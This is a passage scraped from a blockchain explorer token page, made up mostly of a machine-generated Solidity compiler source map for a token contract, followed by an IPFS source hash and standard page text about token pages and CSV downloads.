;-1:-1:-1;11407:16:0::1;11383:40;;11452:4;11434;11439:1;11434:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11434:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11478:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11478:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11434:7;;11478:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11468:4;11473:1;11468:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11468:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11543:15:::1;::::0;11511:62:::1;::::0;11528:4:::1;::::0;11543:15:::1;11561:11:::0;11511:8:::1;:62::i;:::-;11584:15;::::0;:196:::1;::::0;-1:-1:-1;;;11584:196:0;;-1:-1:-1;;;;;11584:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11665:11;;11584:15:::1;::::0;11707:4;;11734::::1;::::0;11754:15:::1;::::0;11584:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6050:6:0;:14;;-1:-1:-1;;;;6050:14:0;;;-1:-1:-1;;;;11305:483:0:o;11797:92::-;11854:10;;:27;;-1:-1:-1;;;;;11854:10:0;;;;:27;;;;;11874:6;;11854:10;:27;:10;:27;11874:6;11854:10;:27;;;;;;;;;;;;;;;;;;;;;11797:92;:::o;12091:329::-;12246:7;12242:54;;12270:14;:12;:14::i;:::-;12361:10;;12306:66;;12324:6;;12332:9;;12343:6;;-1:-1:-1;;;;;12351:20:0;;;12361:10;;12351:20;12306:17;:66::i;:::-;12388:7;12383:29;;12397:15;8501:17;;8489:9;:29;8539:15;;8529:7;:25;8445:117;15873:164;15915:7;15936:15;15953;15972:19;:17;:19::i;:::-;15935:56;;-1:-1:-1;15935:56:0;-1:-1:-1;16009:20:0;15935:56;;16009:11;:20::i;:::-;16002:27;;;;15873:164;:::o;1035:132::-;1093:7;1120:39;1124:1;1127;1120:39;;;;;;;;;;;;;;;;;:3;:39::i;8215:221::-;8262:9;;:14;:30;;;;-1:-1:-1;8280:7:0;;:12;8262:30;8258:43;;;8215:221::o;8258:43::-;8334:9;;;8314:17;:29;8372:7;;;8354:15;:25;-1:-1:-1;8393:13:0;;;;8417:11;8215:221::o;12429:639::-;12597:15;12627:23;12665:12;12692:23;12730:12;12757:13;12784:26;12795:7;12804:5;12784:10;:26::i;:::-;12582:228;;;;;;;;;;;;12840:28;12860:7;12840;:15;12848:6;-1:-1:-1;;;;;12840:15:0;-1:-1:-1;;;;;12840:15:0;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;-1:-1:-1;;;;;12822:15:0;;;;;;;:7;:15;;;;;;:46;;;;12900:18;;;;;;;:39;;12923:15;12900:22;:39::i;:::-;-1:-1:-1;;;;;12879:18:0;;;;;;:7;:18;;;;;:60;12950:16;12960:5;12950:9;:16::i;:::-;12977:23;12989:4;12995;12977:11;:23::i;:::-;13033:9;-1:-1:-1;;;;;13016:44:0;13025:6;-1:-1:-1;;;;;13016:44:0;;13044:15;13016:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13016:44:0;;;;;;;;12571:497;;;;;;12429:639;;;;:::o;16046:257::-;16144:7;;16097;;;;4771:21;16212:20;16144:7;4771:21;16212:11;:20::i;:::-;16202:7;:30;16198:61;;;-1:-1:-1;;16242:7:0;;;4771:21;;-1:-1:-1;16046:257:0;-1:-1:-1;16046:257:0:o;16198:61::-;16278:7;;16287;;-1:-1:-1;16046:257:0;-1:-1:-1;16046:257:0:o;1176:223::-;1296:7;1331:12;1324:5;1316:28;;;;-1:-1:-1;;;1316:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1355:9:0;1367:5;1371:1;1367;:5;:::i;13493:642::-;13605:7;13627;13649;13671;13693;13715;13754:23;13779:12;13793:13;13823:40;13835:7;13844:9;;13855:7;;13823:11;:40::i;:::-;13753:110;;;;;;13874:19;13896:10;:8;:10::i;:::-;13874:32;;13918:15;13935:23;13960:12;13989:46;14001:7;14010:4;14016:5;14023:11;13989;:46::i;:::-;13917:118;;;;;;14056:5;14055:6;:18;;14072:1;14055:18;;;14063:7;14055:18;14047:80;14075:15;;-1:-1:-1;14075:15:0;-1:-1:-1;14098:15:0;;-1:-1:-1;14115:4:0;;-1:-1:-1;14121:5:0;;-1:-1:-1;13493:642:0;;-1:-1:-1;;;;;13493:642:0:o;402:136::-;460:7;487:43;491:1;494;487:43;;;;;;;;;;;;;;;;;:3;:43::i;214:179::-;272:7;;304:5;308:1;304;:5;:::i;:::-;292:17;;333:1;328;:6;;320:46;;;;-1:-1:-1;;;320:46:0;;11964:2:1;320:46:0;;;11946:21:1;12003:2;11983:18;;;11976:30;12042:29;12022:18;;;12015:57;12089:18;;320:46:0;11762:351:1;13077:211:0;13130:19;13152:10;:8;:10::i;:::-;13130:32;-1:-1:-1;13173:13:0;13189:22;:5;13130:32;13189:9;:22::i;:::-;13263:4;13247:22;;;;:7;:22;;;;;;13173:38;;-1:-1:-1;13247:33:0;;13173:38;13247:26;:33::i;:::-;13238:4;13222:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13077:211:0:o;13297:147::-;13375:7;;:17;;13387:4;13375:11;:17::i;:::-;13365:7;:27;13416:10;;:20;;13431:4;13416:14;:20::i;:::-;13403:10;:33;-1:-1:-1;;13297:147:0:o;14143:469::-;14312:7;;;;14406:30;14432:3;14406:21;:7;14418:8;14406:11;:21::i;:::-;:25;;:30::i;:::-;14391:45;-1:-1:-1;14447:13:0;14463:28;14487:3;14463:19;:7;14475:6;14463:11;:19::i;:28::-;14447:44;-1:-1:-1;14502:23:0;14528:28;14447:44;14528:17;:7;14540:4;14528:11;:17::i;:::-;:21;;:28::i;:::-;14502:54;14592:4;;-1:-1:-1;14598:5:0;;-1:-1:-1;14143:469:0;;-1:-1:-1;;;;;14143:469:0:o;14621:534::-;14815:7;;;;14912:24;:7;14924:11;14912;:24::i;:::-;14894:42;-1:-1:-1;14947:12:0;14962:21;:4;14971:11;14962:8;:21::i;:::-;14947:36;-1:-1:-1;14994:13:0;15010:22;:5;15020:11;15010:9;:22::i;:::-;14994:38;-1:-1:-1;15043:23:0;15069:28;14994:38;15069:17;:7;15081:4;15069:11;:17::i;:28::-;15116:7;;;;-1:-1:-1;15142:4:0;;-1:-1:-1;14621:534:0;;-1:-1:-1;;;;;;;14621:534:0:o;780:246::-;838:7;862:1;867;862:6;858:47;;-1:-1:-1;892:1:0;885:8;;858:47;915:9;927:5;931:1;927;:5;:::i;:::-;915:17;-1:-1:-1;960:1:0;951:5;955:1;915:17;951:5;:::i;:::-;:10;943:56;;;;-1:-1:-1;;;943:56:0;;12320:2:1;943:56:0;;;12302:21:1;12359:2;12339:18;;;12332:30;12398:34;12378:18;;;12371:62;-1:-1:-1;;;12449:18:1;;;12442:31;12490:19;;943:56:0;12118:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:180::-;2800:6;2853:2;2841:9;2832:7;2828:23;2824:32;2821:52;;;2869:1;2866;2859:12;2821:52;-1:-1:-1;2892:23:1;;2741:180;-1:-1:-1;2741:180:1:o;2926:782::-;3018:6;3026;3034;3087:2;3075:9;3066:7;3062:23;3058:32;3055:52;;;3103:1;3100;3093:12;3055:52;3143:9;3130:23;3172:18;3213:2;3205:6;3202:14;3199:34;;;3229:1;3226;3219:12;3199:34;3267:6;3256:9;3252:22;3242:32;;3312:7;3305:4;3301:2;3297:13;3293:27;3283:55;;3334:1;3331;3324:12;3283:55;3374:2;3361:16;3400:2;3392:6;3389:14;3386:34;;;3416:1;3413;3406:12;3386:34;3471:7;3464:4;3454:6;3451:1;3447:14;3443:2;3439:23;3435:34;3432:47;3429:67;;;3492:1;3489;3482:12;3429:67;3523:4;3515:13;;;;-1:-1:-1;3547:6:1;-1:-1:-1;;3588:20:1;;3575:34;3645:13;;3638:21;3628:32;;3618:60;;3674:1;3671;3664:12;3618:60;3697:5;3687:15;;;2926:782;;;;;:::o;3713:388::-;3781:6;3789;3842:2;3830:9;3821:7;3817:23;3813:32;3810:52;;;3858:1;3855;3848:12;3810:52;3897:9;3884:23;3916:31;3941:5;3916:31;:::i;:::-;3966:5;-1:-1:-1;4023:2:1;4008:18;;3995:32;4036:33;3995:32;4036:33;:::i;:::-;4088:7;4078:17;;;3713:388;;;;;:::o;4106:356::-;4308:2;4290:21;;;4327:18;;;4320:30;4386:34;4381:2;4366:18;;4359:62;4453:2;4438:18;;4106:356::o;4467:127::-;4528:10;4523:3;4519:20;4516:1;4509:31;4559:4;4556:1;4549:15;4583:4;4580:1;4573:15;4599:127;4660:10;4655:3;4651:20;4648:1;4641:31;4691:4;4688:1;4681:15;4715:4;4712:1;4705:15;4731:135;4770:3;4791:17;;;4788:43;;4811:18;;:::i;:::-;-1:-1:-1;4858:1:1;4847:13;;4731:135::o;4871:251::-;4941:6;4994:2;4982:9;4973:7;4969:23;4965:32;4962:52;;;5010:1;5007;5000:12;4962:52;5042:9;5036:16;5061:31;5086:5;5061:31;:::i;6048:306::-;6136:6;6144;6152;6205:2;6193:9;6184:7;6180:23;6176:32;6173:52;;;6221:1;6218;6211:12;6173:52;6250:9;6244:16;6234:26;;6300:2;6289:9;6285:18;6279:25;6269:35;;6344:2;6333:9;6329:18;6323:25;6313:35;;6048:306;;;;;:::o;9583:125::-;9648:9;;;9669:10;;;9666:36;;;9682:18;;:::i;10117:168::-;10190:9;;;10221;;10238:15;;;10232:22;;10218:37;10208:71;;10259:18;;:::i;10290:128::-;10357:9;;;10378:11;;;10375:37;;;10392:18;;:::i;10555:980::-;10817:4;10865:3;10854:9;10850:19;10896:6;10885:9;10878:25;10922:2;10960:6;10955:2;10944:9;10940:18;10933:34;11003:3;10998:2;10987:9;10983:18;10976:31;11027:6;11062;11056:13;11093:6;11085;11078:22;11131:3;11120:9;11116:19;11109:26;;11170:2;11162:6;11158:15;11144:29;;11191:1;11201:195;11215:6;11212:1;11209:13;11201:195;;;11280:13;;-1:-1:-1;;;;;11276:39:1;11264:52;;11371:15;;;;11336:12;;;;11312:1;11230:9;11201:195;;;-1:-1:-1;;;;;;;11452:32:1;;;;11447:2;11432:18;;11425:60;-1:-1:-1;;;11516:3:1;11501:19;11494:35;11413:3;10555:980;-1:-1:-1;;;10555:980:1:o;11540:217::-;11580:1;11606;11596:132;;11650:10;11645:3;11641:20;11638:1;11631:31;11685:4;11682:1;11675:15;11713:4;11710:1;11703:15;11596:132;-1:-1:-1;11742:9:1;;11540:217::o

Swarm Source

ipfs://c43cecbaa496165a431dd2d7eccd3ea566c9c1178324aab4fe2df7b61d1f8ec6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.